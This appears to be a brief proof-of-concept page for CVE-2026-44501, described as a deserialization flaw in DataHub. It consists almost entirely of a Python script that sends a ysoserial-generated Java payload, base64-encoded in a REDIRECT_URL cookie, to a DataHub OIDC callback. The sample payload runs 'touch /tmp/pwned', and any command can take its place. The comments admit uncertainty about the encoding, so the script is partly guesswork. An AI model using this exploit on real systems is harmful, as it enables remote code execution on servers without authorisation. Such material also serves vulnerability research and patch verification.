CVE-2026-44501 DataHub反序列化漏洞

# PoC Concept for CVE-2026-44501 # This script demonstrates how to send a malicious cookie. # Requires ysoserial to generate the payload. import requests import base64 # Target URL url = "https://target-datahub.com/callback/oidc" # Generate a payload using ysoserial (example with CommonsCollections5) # java -jar ysoserial.jar CommonsCollections5 "touch /tmp/pwned" > payload.bin with open("payload.bin", "rb") as f: payload_data = f.read() # Encode payload (assuming the app expects base64 or raw bytes, adjust as needed) # Based on typical Java deserialization, raw bytes are often used, but encoding depends on implementation. # Here we assume base64 for transport safety in Cookie header. encoded_payload = base64.b64encode(payload_data).decode() # Set the malicious cookie cookies = { "REDIRECT_URL": encoded_payload } try: # Send the request response = requests.get(url, cookies=cookies) print(f"Status Code: {response.status_code}") print("Response headers:", response.headers) except Exception as e: print(f"An error occurred: {e}")
